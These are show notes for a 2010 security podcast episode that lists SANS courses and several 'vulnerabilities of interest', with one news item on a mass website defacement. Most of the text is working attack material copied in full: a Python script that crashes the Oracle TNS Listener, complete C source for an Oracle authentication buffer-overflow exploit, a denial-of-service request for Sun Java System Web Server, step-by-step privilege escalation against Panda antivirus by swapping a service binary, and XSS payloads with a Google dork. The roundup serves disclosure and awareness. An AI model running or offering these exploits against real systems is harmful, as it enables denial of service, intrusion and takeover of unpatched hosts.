Your daily source of Pwnage, Policy and Politics.

Episode 52 – Mood Swing

Play

InfoSec Podcast Episode 52 for January 22, 2010. This podcast is our contribution back to the community where we will discuss the vulnerabilities of interest, information security related news hopefully providing you a few laughs and a little knowledge.

Announcements:
Community SANS Atlanta 2010 Spring Schedule has been posted.

SEC-606: Drive and Data Recovery Forensics    2/9/10 to 2/13/10
SEC-502: Perimeter Protection In-Depth    2/22/10 to 2/27/10
AUD-507: Auditing Networks, Perimeters, and Systems    3/15/10 to 3/20/10
MGT-512: SANS Security Leadership Essentials For Managers with Knowledge Compression    4/15/10 to 4/21/10
SEC-566: 20 Critical Security Controls – In Depth    5/17/10 to 5/21/10

Go online to register by going to the SANS website or call (301) 654-SANS(7267).

SANS 2010 Orlando, Fl. March 6 – 15, 2010 (http://www.sans.org/sans-2010/)

Vulnerabilities of Interest:

  1. Oracle Database is subject to a remote memory-corruption vulnerability in Listener. The vulnerability can be exploited over the ‘Oracle Net’ protocol. An attacker does not require privileges to exploit this vulnerability.  This vulnerability affects the following supported versions 9.2.0.8, 9.2.0.8DV, 10.1.0.5, 10.2.0.4, 11.1.0.7.  Proof of concept is available:
    # TNS Listener (Oracle RDBMS) exploit, cause Listener process crash

    # While running on 11.1.0.7.0 win32, nsglvcrt() Listener function attempt
    # to allocate huge memory block and copy *something* to it.

    # TID=3052|(1) MSVCR71.dll!malloc (0x4222fc5) (called from 0×438631 (TNSLSNR.EXE!nsglvcrt+0×95))
    # TID=3052|(1) MSVCR71.dll!malloc -> 0×2530020
    # TID=3052|(0) TNSLSNR.EXE!__intel_fast_memcpy (0×2530020, 0, 0x4222fc4) (called from 0×438647 (TNSLSNR.EXE!nsglvcrt+0xab))

    # (addresses are for TNS Listener 11.1.0.7.0 win32 unpatched)
    # If I correct, nsglvcrt() function is involved in new service creation.

    # Successfully crashed:
    # Oracle RDBMS 11.1.0.6.0 win32 with CPUapr2009 applied
    # Oracle RDBMS 11.1.0.7.0 win32 with CPUapr2009 applied
    # Oracle RDBMS 10.2.0.4 win32 with CPUapr2009 applied
    # Oracle RDBMS 10.2.0.2 Linux x86
    # Not crashed:
    # Oracle RDBMS 11.2 Linux x86

    # Vulnerability discovered by Dennis Yurichev <dennis@conus.info>

    # Fixed in CPUjan2010 as CVE-2010-0071 (CVSS 10.0):
    # http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2010.html

    from sys import *
    from socket import *

    sockobj = socket(AF_INET, SOCK_STREAM)

    sockobj.connect ((argv[1], 1521))

    sockobj.send(
    “\x00\x68\x00\x00\x01\x00\x00\x00″
    “\x01\x3A\x01\x2C\x00\x00\x20\x00″
    “\x7F\xFF\xC6\x0E\x00\x00\x01\x00″
    “\x00\x2E\x00\x3A\x00\x00\x00\x00″
    “\x00\x00\x00\x00\x00\x00\x00\x00″
    “\x00\x00\x00\x00\x00\x00\x00\x00″
    “\x00\x00\x00\x00\x00\x00\x00\x00″
    “\x00\x00\x28\x43\x4F\x4E\x4E\x45″
    “\x43\x54\x5F\x44\x41\x54\x41\x3D”
    “\x28\x43\x4F\x4D\x4D\x41\x4E\x44″
    “\x3D\x73\x65\x72\x76\x69\x63\x65″
    “\x5F\x72\x65\x67\x69\x73\x74\x65″
    “\x72\x5F\x4E\x53\x47\x52\x29\x29″
    )

    data=sockobj.recv(102400)

    sockobj.send(
    “\x02\xDE\x00\x00\x06\x00\x00\x00″
    “\x00\x00\x00\x00\x02\xD4\x20\x08″
    “\xFF\x03\x01\x00\x12\x34\x34\x34″
    “\x34\x34\x78\x10\x10\x32\x10\x32″
    “\x10\x32\x10\x32\x10\x32\x54\x76″
    “\x00\x78\x10\x32\x54\x76\x44\x00″
    “\x00\x80\x02\x00\x00\x00\x00\x04″
    “\x00\x00\x70\xE4\xA5\x09\x90\x00″
    “\x23\x00\x00\x00\x42\x45\x43\x37″
    “\x36\x43\x32\x43\x43\x31\x33\x36″
    “\x2D\x35\x46\x39\x46\x2D\x45\x30″
    “\x33\x34\x2D\x30\x30\x30\x33\x42″
    “\x41\x31\x33\x37\x34\x42\x33\x03″
    “\x00\x65\x00\x01\x00\x01\x00\x00″
    “\x00\x00\x00\x00\x00\x00\x64\x02″
    “\x00\x80\x05\x00\x00\x00\x00\x04″
    “\x00\x00\x00\x00\x00\x00\x01\x00″
    “\x00\x00\x10\x00\x00\x00\x02\x00″
    “\x00\x00\x84\xC3\xCC\x07\x01\x00″
    “\x00\x00\x84\x2F\xA6\x09\x00\x00″
    “\x00\x00\x44\xA5\xA2\x09\x25\x98″
    “\x18\xE9\x28\x50\x4F\x28\xBB\xAC”
    “\x15\x56\x8E\x68\x1D\x6D\x05\x00″
    “\x00\x00\xFC\xA9\x36\x22\x0F\x00″
    “\x00\x00\x60\x30\xA6\x09\x0A\x00″
    “\x00\x00\x64\x00\x00\x00\x00\x00″
    “\x00\x00\xAA\x00\x00\x00\x00\x01″
    “\x00\x00\x17\x00\x00\x00\x78\xC3″
    “\xCC\x07\x6F\x72\x63\x6C\x00\x28″
    “\x48\x4F\x53\x54\x3D\x77\x69\x6E”
    “\x32\x30\x30\x33\x29\x00\x01\x00″
    “\x00\x00\x58\x00\x00\x00\x01\x00″
    “\x00\x00\x50\xC5\x2F\x22\x02\x00″
    “\x00\x00\x34\xC5\x2F\x22\x00\x00″
    “\x00\x00\x9C\xC5\xCC\x07\x6F\x72″
    “\x63\x6C\x5F\x58\x50\x54\x00\x09″
    “\x00\x00\x00\x50\xC5\x2F\x22\x04″
    “\x00\x00\x00\x00\x00\x00\x00\x00″
    “\x00\x00\x00\x00\x00\x00\x00\x34″
    “\xC5\xCC\x07\x6F\x72\x63\x6C\x5F”
    “\x58\x50\x54\x00\x01\x00\x00\x00″
    “\x05\x00\x00\x00\x01\x00\x00\x00″
    “\x84\xC5\x2F\x22\x02\x00\x00\x00″
    “\x68\xC5\x2F\x22\x00\x00\x00\x00″
    “\xA4\xA5\xA2\x09\x6F\x72\x63\x6C”
    “\x00\x05\x00\x00\x00\x84\xC5\x2F”
    “\x22\x04\x00\x00\x00\x00\x00\x00″
    “\x00\x00\x00\x00\x00\x00\x00\x00″
    “\x00\xFC\xC4\xCC\x07\x6F\x72\x63″
    “\x6C\x00\x01\x00\x00\x00\x10\x00″
    “\x00\x00\x02\x00\x00\x00\xBC\xC3″
    “\xCC\x07\x04\x00\x00\x00\xB0\x2F”
    “\xA6\x09\x00\x00\x00\x00\x00\x00″
    “\x00\x00\x89\xC0\xB1\xC3\x08\x1D”
    “\x46\x6D\xB6\xCF\xD1\xDD\x2C\xA7″
    “\x66\x6D\x0A\x00\x00\x00\x78\x2B”
    “\xBC\x04\x7F\x00\x00\x00\x64\xA7″
    “\xA2\x09\x0D\x00\x00\x00\x20\x2C”
    “\xBC\x04\x11\x00\x00\x00\x95\x00″
    “\x00\x00\x02\x20\x00\x80\x03\x00″
    “\x00\x00\x98\xC5\x2F\x22\x00\x00″
    “\x00\x00\x00\x00\x00\x00\x0A\x00″
    “\x00\x00\xB0\xC3\xCC\x07\x44\x45″
    “\x44\x49\x43\x41\x54\x45\x44\x00″
    “\x28\x41\x44\x44\x52\x45\x53\x53″
    “\x3D\x28\x50\x52\x4F\x54\x4F\x43″
    “\x4F\x4C\x3D\x42\x45\x51\x29\x28″
    “\x50\x52\x4F\x47\x52\x41\x4D\x3D”
    “\x43\x3A\x5C\x61\x70\x70\x5C\x41″
    “\x64\x6D\x69\x6E\x69\x73\x74\x72″
    “\x61\x74\x6F\x72\x5C\x70\x72\x6F”
    “\x64\x75\x63\x74\x5C\x31\x31\x2E”
    “\x31\x2E\x30\x5C\x64\x62\x5F\x31″
    “\x5C\x62\x69\x6E\x5C\x6F\x72\x61″
    “\x63\x6C\x65\x2E\x65\x78\x65\x29″
    “\x28\x41\x52\x47\x56\x30\x3D\x6F”
    “\x72\x61\x63\x6C\x65\x6F\x72\x63″
    “\x6C\x29\x28\x41\x52\x47\x53\x3D”
    “\x27\x28\x4C\x4F\x43\x41\x4C\x3D”
    “\x4E\x4F\x29\x27\x29\x29\x00\x4C”
    “\x4F\x43\x41\x4C\x20\x53\x45\x52″
    “\x56\x45\x52\x00\x68\xC5\x2F\x22″
    “\x34\xC5\x2F\x22\x00\x00\x00\x00″
    “\x05\x00\x00\x00\x84\xC5\x2F\x22″
    “\x04\x00\x00\x00\x00\x00\x00\x00″
    “\x00\x00\x00\x00\x00\x00\x00\x00″
    “\xFC\xC4\xCC\x07\x6F\x72\x63\x6C”
    “\x00\x09\x00\x00\x00\x50\xC5\x2F”
    “\x22\x04\x00\x00\x00\x00\x00\x00″
    “\x00\x00\x00\x00\x00\x00\x00\x00″
    “\x00\x34\xC5\xCC\x07\x6F\x72\x63″
    “\x6C\x5F\x58\x50\x54\x00″
    )

    sockobj.close()

  2. Oracle Network Authentication is subject to a remote buffer-overflow vulnerability. The vulnerability can be exploited over the ‘Oracle Net’ protocol. An attacker doesn’t need specific privileges to exploit this vulnerability. Oracle Database 10g versions 10.1.0.5 and 10.2.0.4. Exploit is available:
    #include <winsock2.h>
    #include <stdio.h>
    #include <string.h>
    #include <windows.h>
    #include <assert.h>

    #include <string>

    void s_send (SOCKET s, char *msg, DWORD size)
    {
    int sent;

    printf (“s_send: begin: %d bytes\n”, size);

    sent=send (s, (char*)msg, size, 0);

    if (sent==SOCKET_ERROR)
    {
    printf (“send() -> SOCKET_ERROR, WSAGetLastError=%d\n”, WSAGetLastError());
    } else

    if (sent!=size)
    printf (“sent only %d bytes\n”, sent);

    printf (“s_send: end\n”);
    };

    void s_recv (SOCKET s)
    {
    char buf[20000];
    int r;

    struct timeval t;
    fd_set fd;

    t.tv_sec=0;
    t.tv_usec=100000; // 100 ms

    printf (“s_recv: begin\n”);

    FD_ZERO(&fd);
    FD_SET(s, &fd);

    if (select (0, &fd, 0, 0, &t))
    // if (select (0, &fd, 0, 0, NULL))
    {
    r=recv (s, buf, 20000, 0);
    if (r!=0 && r!=-1)
    {
    printf (“got %d bytes\n”, r);
    }
    else
    {
    printf (“connection lost, r=%d\n”, r);
    };
    }
    else
    {
    printf (“select() returns zero\n”);
    };
    };

    unsigned char NSPTCN[]=
    {
    0×00, 0×00, 0×00, 0×00, 0×01, 0×00, 0×00, 0×00,
    0×01, 0x3A, 0×01, 0x2C, 0×00, 0×41, 0×20, 0×00,
    0x7F, 0xFF, 0xC6, 0x0E, 0×00, 0×00, 0×01, 0×00,
    0×00, 0×00, 0×00, 0x3A, 0×00, 0×00, 0×02, 0×00,
    //^^ ^^ cmd len
    0×61, 0×61, 0×00, 0×00, 0×00, 0×00, 0×00, 0×00,
    0×00, 0×00, 0×00, 0×00, 0×00, 0×00, 0×00, 0×00,
    0×00, 0×00, 0×00, 0×00, 0×00, 0×00, 0×00, 0×00,
    0×00, 0×00

    };

    #define NSPTCN_HEADER_LEN 58

    unsigned char NSPTDA[]=
    {
    0×00, 0×00, 0×00, 0×00, 0×06, 0×00, 0×00, 0×00,
    // ^^ ^^ packet len
    0×00, 0×00
    };

    #define NSPTDA_HEADER_LEN 10

    void s_send_NSPTDA (SOCKET s, char *msg, int size)
    {
    char * buf;
    int sz=size + NSPTDA_HEADER_LEN;

    buf=(char*)malloc (sz);

    NSPTDA[0]=( sz ) >> 8;
    NSPTDA[1]=( sz ) & 0xFF;

    memcpy (buf, NSPTDA, NSPTDA_HEADER_LEN);
    memcpy (buf + NSPTDA_HEADER_LEN, msg, size);

    printf (“s_send_NSPTDA: sending %d bytes…\n”, sz);

    s_send (s, (char*)buf, sz);

    free (buf);
    };

    void s_send_TNS_command (SOCKET s, const char *cmd)
    {
    unsigned char * pkt;
    int cmd_len=strlen (cmd);

    printf (“sending [%s]\n”, cmd);
    printf (“len: %d\n”, cmd_len);

    if (cmd_len<231)
    {

    int str_len=strlen(cmd);
    int pkt_len=str_len+58;

    pkt=(unsigned char*)malloc (str_len+58);

    memcpy (pkt,
    “\x00\x00\x00\x00\x01\x00\x00\x00″
    // plenH, plenL
    “\x01\x3A\x01\x2C\x00\x41\x20\x00″
    “\x7F\xFF\xC6\x0E\x00\x00\x01\x00″
    “\x00\x00\x00\x3A\x00\x00\x02\x00″
    // cmdlenH cmdlenL
    “\x61\x61\x00\x00\x00\x00\x00\x00″
    “\x00\x00\x00\x00\x00\x00\x00\x00″
    “\x00\x00\x00\x00\x00\x00\x00\x00″
    “\x00\x00″, 58);

    memcpy (pkt+58, cmd, str_len);

    pkt[1]=pkt_len&0xFF;
    pkt[0]=(pkt_len>>8)&0xFF;

    pkt[25]=str_len&0xFF;
    pkt[24]=(str_len>>8)&0xFF;

    s_send (s, (char*)pkt, pkt_len);

    free (pkt);

    }
    else
    {
    // something should be modified here in NSPTCN
    assert (0);
    };
    };

    bool try_host (char * h)
    {
    struct hostent *hp;
    WSADATA wsaData;
    struct sockaddr_in sin;
    int r;
    struct timeval t;
    fd_set fd;
    SOCKET s;
    char pkt1318[1318];

    WSAStartup(MAKEWORD(1, 1), &wsaData);

    hp=gethostbyname (h);
    assert (hp!=NULL);

    s=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);

    assert (s!=INVALID_SOCKET);

    {
    u_long on=1;
    assert (ioctlsocket(s, FIONBIO, &on) != -1);
    };

    sin.sin_family=AF_INET;
    sin.sin_port=htons(1521);
    memcpy(&sin.sin_addr, hp->h_addr, hp->h_length);

    r=connect(s, (struct sockaddr *)&sin, sizeof(sin));

    t.tv_sec=3;
    t.tv_usec=0;

    FD_ZERO(&fd);
    FD_SET(s, &fd);

    if (select (0, 0, &fd, 0, &t))
    {
    printf (“connected to %s\n”, h);

    s_send_TNS_command (s, “(DESCRIPTION=(CONNECT_DATA=(SERVICE_NAME=orcl)(CID=(PROGRAM=client.exe)(HOST=client_host)(USER=dennis)))(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.0.115)(PORT=1521)))”);

    // waiting for NSPTRS

    s_recv(s);

    s_send_TNS_command (s, “(DESCRIPTION=(CONNECT_DATA=(SERVICE_NAME=orcl)(CID=(PROGRAM=client.exe)(HOST=client_host)(USER=dennis)))(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.0.115)(PORT=1521)))”);

    // waiting for NSPTAC

    s_recv(s);

    // send NA packet

    s_send (s,
    “\x00\x9C\x00\x00\x06\x00\x00\x00\x00\x00\xDE\xAD\xBE\xEF\x00\x92″
    “\x0B\x10\x06\x00\x00\x04\x00\x00\x04\x00\x03\x00\x00\x00\x00\x00″
    “\x04\x00\x05\x0B\x10\x06\x00\x00\x08\x00\x01\x00\x00\x0A\xF8\x71″
    “\xC2\x6C\xE1\x00\x12\x00\x01\xDE\xAD\xBE\xEF\x00\x03\x00\x00\x00″
    “\x04\x00\x04\x00\x01\x00\x01\x00\x02\x00\x01\x00\x03\x00\x00\x00″
    “\x00\x00\x04\x00\x05\x0B\x10\x06\x00\x00\x02\x00\x03\xE0\xE1\x00″
    “\x02\x00\x06\xFC\xFF\x00\x02\x00\x02\x00\x00\x00\x00\x00\x04\x00″
    “\x05\x0B\x10\x06\x00\x00\x0C\x00\x01\x00\x11\x06\x10\x0C\x0F\x0A”
    “\x0B\x08\x02\x01\x03\x00\x03\x00\x02\x00\x00\x00\x00\x00\x04\x00″
    “\x05\x0B\x10\x06\x00\x00\x03\x00\x01\x00\x03\x01″
    ,156);

    s_recv (s);

    // send TTIPRO

    s_send (s,

    “\x00\x25\x00\x00\x06\x00\x00\x00\x00\x00\x01\x06\x05\x04\x03\x02″
    “\x01\x00\x49\x42\x4D\x50\x43\x2F\x57\x49\x4E\x5F\x4E\x54\x2D\x38″
    “\x2E\x31\x2E\x30\x00″
    , 37);

    s_recv (s);

    // send TTIDTY

    s_send (s,

    “\x00\x4B\x00\x00\x06\x00\x00\x00\x00\x00\x02\xB2\x00\xB2\x00\xD2″
    “\x25\x06\x01\x01\x01\x0D\x01\x01\x05\x01\x01\x01\x01\x01\x01\x01″
    “\x7F\xFF\x03\x09\x03\x03\x01\x00\x7F\x01\x1F\xFF\x01\x03\x01\x01″
    “\x3F\x01\x01\x05\x00\x01\x07\x02\x01\x00\x00\x18\x00\x01\x80\x00″
    “\x00\x00\x3C\x3C\x3C\x80\x00\x00\x00\xD0\x07″
    , 75);

    s_recv (s);

    // call OSESSKEY

    s_send (s,

    “\x00\xDA\x00\x00\x06\x00\x00\x00\x00\x00\x03\x76\x02\xFE\xFF\xFF”
    “\xFF\x05\x00\x00\x00\x01\x00\x00\x00\xFE\xFF\xFF\xFF\x05\x00\x00″
    “\x00\xFE\xFF\xFF\xFF\xFE\xFF\xFF\xFF\x05\x73\x63\x6F\x74\x74\x0D”
    “\x00\x00\x00\x0D\x41\x55\x54\x48\x5F\x54\x45\x52\x4D\x49\x4E\x41″
    “\x4C\x05\x00\x00\x00\x05\x55\x4E\x49\x54\x31\x00\x00\x00\x00\x0F”
    “\x00\x00\x00\x0F\x41\x55\x54\x48\x5F\x50\x52\x4F\x47\x52\x41\x4D”
    “\x5F\x4E\x4D\x0A\x00\x00\x00\x0A\x70\x79\x74\x68\x6F\x6E\x2E\x65″
    “\x78\x65\x00\x00\x00\x00\x0C\x00\x00\x00\x0C\x41\x55\x54\x48\x5F”
    “\x4D\x41\x43\x48\x49\x4E\x45\x0F\x00\x00\x00\x0F\x57\x4F\x52\x4B”
    “\x47\x52\x4F\x55\x50\x5C\x55\x4E\x49\x54\x31\x00\x00\x00\x00\x08″
    “\x00\x00\x00\x08\x41\x55\x54\x48\x5F\x50\x49\x44\x09\x00\x00\x00″
    “\x09\x32\x38\x30\x38\x3A\x34\x30\x30\x34\x00\x00\x00\x00\x08\x00″
    “\x00\x00\x08\x41\x55\x54\x48\x5F\x53\x49\x44\x06\x00\x00\x00\x06″
    “\x64\x65\x6E\x6E\x69\x73\x00\x00\x00\x00″
    , 218);

    // call OAUTH

    memcpy (pkt1318,
    “\x05\x26\x00\x00\x06\x00\x00\x00\x00\x00\x03\x73\x03\xFE\xFF\xFF”
    “\xFF\x05\x00\x00\x00\x01\x01\x00\x00\xFE\xFF\xFF\xFF\x12\x00\x00″
    “\x00\xFE\xFF\xFF\xFF\xFE\xFF\xFF\xFF\x05\x73\x63\x6F\x74\x74\x0C”
    “\x00\x00\x00\x0C\x41\x55\x54\x48\x5F\x53\x45\x53\x53\x4B\x45\x59″
    “\x40\x00\x00\x00\x40\x36\x33\x41\x45\x31\x36\x41\x30\x44\x31\x41″
    “\x46\x31\x45\x39\x33\x37\x41\x44\x36\x36\x46\x34\x46\x31\x35\x36″
    “\x37\x31\x30\x33\x30\x34\x46\x36\x36\x30\x31\x44\x30\x45\x33\x35″
    “\x34\x37\x46\x42\x46\x39\x35\x34\x39\x37\x34\x32\x33\x30\x42\x43″
    “\x30\x36\x45\x34\x30\x01\x00\x00\x00\x0D\x00\x00\x00\x0D\x41\x55″
    “\x54\x48\x5F\x50\x41\x53\x53\x57\x4F\x52\x44\x40\x00\x00\x00\x40″
    “\x36\x31\x37\x35\x31\x42\x45\x35\x34\x37\x31\x30\x44\x45\x41\x46″
    “\x38\x46\x42\x33\x34\x32\x45\x36\x32\x41\x45\x35\x30\x45\x44\x38″
    “\x45\x43\x38\x30\x39\x33\x31\x44\x33\x44\x45\x34\x42\x33\x41\x37″
    “\x34\x35\x38\x37\x45\x36\x46\x32\x36\x46\x37\x45\x45\x30\x34\x34″
    “\x00\x00\x00\x00\x08\x00\x00\x00\x08\x41\x55\x54\x48\x5F\x52\x54″
    “\x54\x05\x00\x00\x00\x05\x32\x38\x30\x32\x38\x00\x00\x00\x00\x0D”
    “\x00\x00\x00\x0D\x41\x55\x54\x48\x5F\x43\x4C\x4E\x54\x5F\x4D\x45″
    “\x4D\x04\x00\x00\x00\x04\x34\x30\x39\x36\x00\x00\x00\x00\x0D\x00″
    “\x00\x00\x0D\x41\x55\x54\x48\x5F\x54\x45\x52\x4D\x49\x4E\x41\x4C”
    “\x05\x00\x00\x00\x05\x55\x4E\x49\x54\x31\x00\x00\x00\x00\x0F\x00″
    “\x00\x00\x0F\x41\x55\x54\x48\x5F\x50\x52\x4F\x47\x52\x41\x4D\x5F”
    “\x4E\x4D\x0A\x00\x00\x00\x0A\x70\x79\x74\x68\x6F\x6E\x2E\x65\x78″
    “\x65\x00\x00\x00\x00\x0C\x00\x00\x00\x0C\x41\x55\x54\x48\x5F\x4D”
    “\x41\x43\x48\x49\x4E\x45\x0F\x00\x00\x00\x0F\x57\x4F\x52\x4B\x47″
    “\x52\x4F\x55\x50\x5C\x55\x4E\x49\x54\x31\x00\x00\x00\x00\x08\x00″
    “\x00\x00\x08\x41\x55\x54\x48\x5F\x50\x49\x44\x09\x00\x00\x00\x09″
    “\x32\x38\x30\x38\x3A\x34\x30\x30\x34\x00\x00\x00\x00\x08\x00\x00″
    “\x00\x08\x41\x55\x54\x48\x5F\x53\x49\x44\x06\x00\x00\x00\x06\x64″
    “\x65\x6E\x6E\x69\x73\x00\x00\x00\x00\x16\x00\x00\x00\x16\x53\x45″
    “\x53\x53\x49\x4F\x4E\x5F\x43\x4C\x49\x45\x4E\x54\x5F\x43\x48\x41″
    “\x52\x53\x45\x54\x03\x00\x00\x00\x03\x31\x37\x38\x00\x00\x00\x00″
    “\x17\x00\x00\x00\x17\x53\x45\x53\x53\x49\x4F\x4E\x5F\x43\x4C\x49″
    “\x45\x4E\x54\x5F\x4C\x49\x42\x5F\x54\x59\x50\x45\x01\x00\x00\x00″
    “\x01\x31\x00\x00\x00\x00\x1A\x00\x00\x00\x1A\x53\x45\x53\x53\x49″
    “\x4F\x4E\x5F\x43\x4C\x49\x45\x4E\x54\x5F\x44\x52\x49\x56\x45\x52″
    “\x5F\x4E\x41\x4D\x45\x0E\x00\x00\x00\x0E\x63\x78\x5F\x4F\x72\x61″
    “\x63\x6C\x65\x2D\x34\x2E\x34\x20\x00\x00\x00\x00\x16\x00\x00\x00″
    “\x16\x53\x45\x53\x53\x49\x4F\x4E\x5F\x43\x4C\x49\x45\x4E\x54\x5F”
    “\x56\x45\x52\x53\x49\x4F\x4E\x09\x00\x00\x00\x09\x31\x38\x35\x35″
    “\x39\x39\x34\x38\x38\x00\x00\x00\x00\x16\x00\x00\x00\x16\x53\x45″
    “\x53\x53\x49\x4F\x4E\x5F\x43\x4C\x49\x45\x4E\x54\x5F\x4C\x4F\x42″
    “\x41\x54\x54\x52\x01\x00\x00\x00\x01\x31\x00\x00\x00\x00\x08\x00″
    “\x00\x00\x08\x41\x55\x54\x48\x5F\x41\x43\x4C\x04\x00\x00\x00\x04″
    “\x34\x34\x30\x30\x00\x00\x00\x00\x12\x00\x00\x00\x12\x41\x55\x54″
    “\x48\x5F\x41\x4C\x54\x45\x52\x5F\x53\x45\x53\x53\x49\x4F\x4E\xE9″
    “\x01\x00\x00\xFE\xFF\x41\x4C\x54\x45\x52\x20\x53\x45\x53\x53\x49″
    “\x4F\x4E\x20\x53\x45\x54\x20\x4E\x4C\x53\x5F\x4C\x41\x4E\x47\x55″
    “\x41\x47\x45\x3D\x20\x27\x41\x4D\x45\x52\x49\x43\x41\x4E\x27\x20″
    “\x4E\x4C\x53\x5F\x54\x45\x52\x52\x49\x54\x4F\x52\x59\x3D\x20\x27″
    “\x41\x4D\x45\x52\x49\x43\x41\x27\x20\x4E\x4C\x53\x5F\x43\x55\x52″
    “\x52\x45\x4E\x43\x59\x3D\x20\x27\x24\x27\x20\x4E\x4C\x53\x5F\x49″
    “\x53\x4F\x5F\x43\x55\x52\x52\x45\x4E\x43\x59\x3D\x20\x27\x41\x4D”
    “\x45\x52\x49\x43\x41\x27\x20\x4E\x4C\x53\x5F\x4E\x55\x4D\x45\x52″
    “\x49\x43\x5F\x43\x48\x41\x52\x41\x43\x54\x45\x52\x53\x3D\x20\x27″
    “\x2E\x2C\x27\x20\x4E\x4C\x53\x5F\x43\x41\x4C\x45\x4E\x44\x41\x52″
    “\x3D\x20\x27\x47\x52\x45\x47\x4F\x52\x49\x41\x4E\x27\x20\x4E\x4C”
    “\x53\x5F\x44\x41\x54\x45\x5F\x46\x4F\x52\x4D\x41\x54\x3D\x20\x27″
    “\x44\x44\x2D\x4D\x4F\x4E\x2D\x52\x52\x27\x20\x4E\x4C\x53\x5F\x44″
    “\x41\x54\x45\x5F\x4C\x41\x4E\x47\x55\x41\x47\x45\x3D\x20\x27\x41″
    “\x4D\x45\x52\x49\x43\x41\x4E\x27\x20\x4E\x4C\x53\x5F\x53\x4F\x52″
    “\x54\x3D\x20\x27\x42\x49\x4E\x41\x52\x59\x27\x20\x54\x49\x4D\x45″
    “\x5F\x5A\x4F\x4E\xEA\x45\x3D\x20\x27\x2B\x30\x33\x3A\x30\x30\x27″
    “\x20\x4E\x4C\x53\x5F\x43\x4F\x4D\x50\x3D\x20\x27\x42\x49\x4E\x41″
    “\x52\x59\x27\x20\x4E\x4C\x53\x5F\x44\x55\x41\x4C\x5F\x43\x55\x52″
    “\x52\x45\x4E\x43\x59\x3D\x20\x27\x24\x27\x20\x4E\x4C\x53\x5F\x54″
    “\x49\x4D\x45\x5F\x46\x4F\x52\x4D\x41\x54\x3D\x20\x27\x48\x48\x2E”
    “\x4D\x49\x2E\x53\x53\x58\x46\x46\x20\x41\x4D\x27\x20\x4E\x4C\x53″
    “\x5F\x54\x49\x4D\x45\x53\x54\x41\x4D\x50\x5F\x46\x4F\x52\x4D\x41″
    “\x54\x3D\x20\x27\x44\x44\x2D\x4D\x4F\x4E\x2D\x52\x52\x20\x48\x48″
    “\x2E\x4D\x49\x2E\x53\x53\x58\x46\x46\x20\x41\x4D\x27\x20\x4E\x4C”
    “\x53\x5F\x54\x49\x4D\x45\x5F\x54\x5A\x5F\x46\x4F\x52\x4D\x41\x54″
    “\x3D\x20\x27\x48\x48\x2E\x4D\x49\x2E\x53\x53\x58\x46\x46\x20\x41″
    “\x4D\x20\x54\x5A\x52\x27\x20\x4E\x4C\x53\x5F\x54\x49\x4D\x45\x53″
    “\x54\x41\x4D\x50\x5F\x54\x5A\x5F\x46\x4F\x52\x4D\x41\x54\x3D\x20″
    “\x27\x44\x44\x2D\x4D\x4F\x4E\x2D\x52\x52\x20\x48\x48\x2E\x4D\x49″
    “\x2E\x53\x53\x58\x46\x46\x20\x41\x4D\x20\x54\x5A\x52\x27\x00\x00″
    “\x00\x00\x00\x00\x17\x00\x00\x00\x17\x41\x55\x54\x48\x5F\x4C\x4F”
    “\x47\x49\x43\x41\x4C\x5F\x53\x45\x53\x53\x49\x4F\x4E\x5F\x49\x44″
    “\x20\x00\x00\x00\x20\x35\x44\x46\x34\x37\x43\x45\x35\x42\x38\x42″
    “\x32\x34\x43\x46\x38\x42\x46\x42\x36\x46\x30\x46\x36\x39\x32\x42″
    “\x38\x46\x42\x39\x38\x00\x00\x00\x00\x10\x00\x00\x00\x10\x41\x55″
    “\x54\x48\x5F\x46\x41\x49\x4C\x4F\x56\x45\x52\x5F\x49\x44\x00\x00″
    “\x00\x00\x00\x00\x00\x00″
    ,1318);

    pkt1318[0x41]=0×80;

    s_send (s, pkt1318, 1318);

    assert (closesocket (s)==0);
    return true;
    }
    else
    {
    printf (“while connect(): select() returns zero\n”);
    assert (closesocket (s)==0);
    return false;
    };
    };

    void main(int argc, char * argv[])
    {

    printf (“CVE-2009-1979 PoC. Working at least on 10.2.0.4 win32\n”);
    printf (“Vulnerability discovered by Dennis Yurichev <dennis@conus.info> http://blogs.conus.info\n”);
    if (argv[1]==NULL)
    {
    printf (“use: %s <hostname>\n”, argv[0]);
    return;
    };

    try_host (argv[1]);
    };

  3. Sun Java System Web Server is subject to a denial-of-service vulnerability. An attacker can exploit this issue to crash the effected application, denying service to legitimate users. Sun Java System Web Server 7.0 Update 6 is affected; other versions may also be vulnerable. Example request is available: ” / HTTP/1.0\n\n”
  4. Panda Security is subject to a local privilege escalation vulnerability.  The following versions are affected: Panda Security for Business 4.04.10, Panda Security for Business with Exchange 4.04.10, Panda Security for Enterprise 4.04.10, Panda Internet Security 2010 (15.01.00), Panda Global Protection 2010 (3.01.00), Panda Antivirus Pro 2010 (9.01.00), Panda Antivirus for Netbooks (9.01.00), During installation of Panda Security for Desktops/File Servers the permissions for installation folder: %ProgramFiles%Panda SoftwareAVTC are by default set to Everyone:Full Control. Services are started from this folder and those services are started under LocalSystem account. The 32bit Version of Panda Security for Desktops/File Servers installs the TruePrevent package by default, which protects the files in the installation directory from manipulation.
    If the TruePrevent Service (Panda TPSrv) is not running the files are completely unprotected.   A normal user is not able to stop the service, but normally he can boot his workstation in SafeBoot mode, in which the TPSrv is not started and all services files can be manipulated. This can be exploited by:
    a. Boot the PC in SafeBoot mode, by pressing F8 during the boot process
    b. Rename PAVSRV51.exe to PAVSRV51.old in Panda folder
    c. Copy any application to PAVSRV51.exe
    d. Reboot
    Upon reboot trojaned application will be executed with LocalSystem account.
  5. Chipmunk News 2.0 is subject to multiple cross site scripting vulnerabilities. This affects the sub, addaddress and searchaddress modules. Google Dork: inurl:admin/login.php “Registering Admin”.  Exploit samples are available:

    http://localhost/sub.php

    POSTDATA: email=<script>alert(‘xss’)</script>&choice=sub&lists=1& amp;submit=submit

    http://localhost/admin/addaddress.php

    POSTDATA: email=<script>alert(‘xss’)</script>&lists=1&submit=submit

    http://localhost/admin/searchaddress.php

    POSTDATA: theaddress=<script>alert(‘xss’)</script>&submit=submit


News Items of Interest:

News item 1: http://news.softpedia.com/news/Hundreds-of-Websites-Hosted-at-Network-Solutions-Defaced-132654.shtml

Network Solutions announced that several hundred websites hosted on its infrastructure fell victim in a mass defacement attack during the past several days. Preliminary findings suggest that a remote file inclusion technique was used to compromise several of the company’s Unix servers.

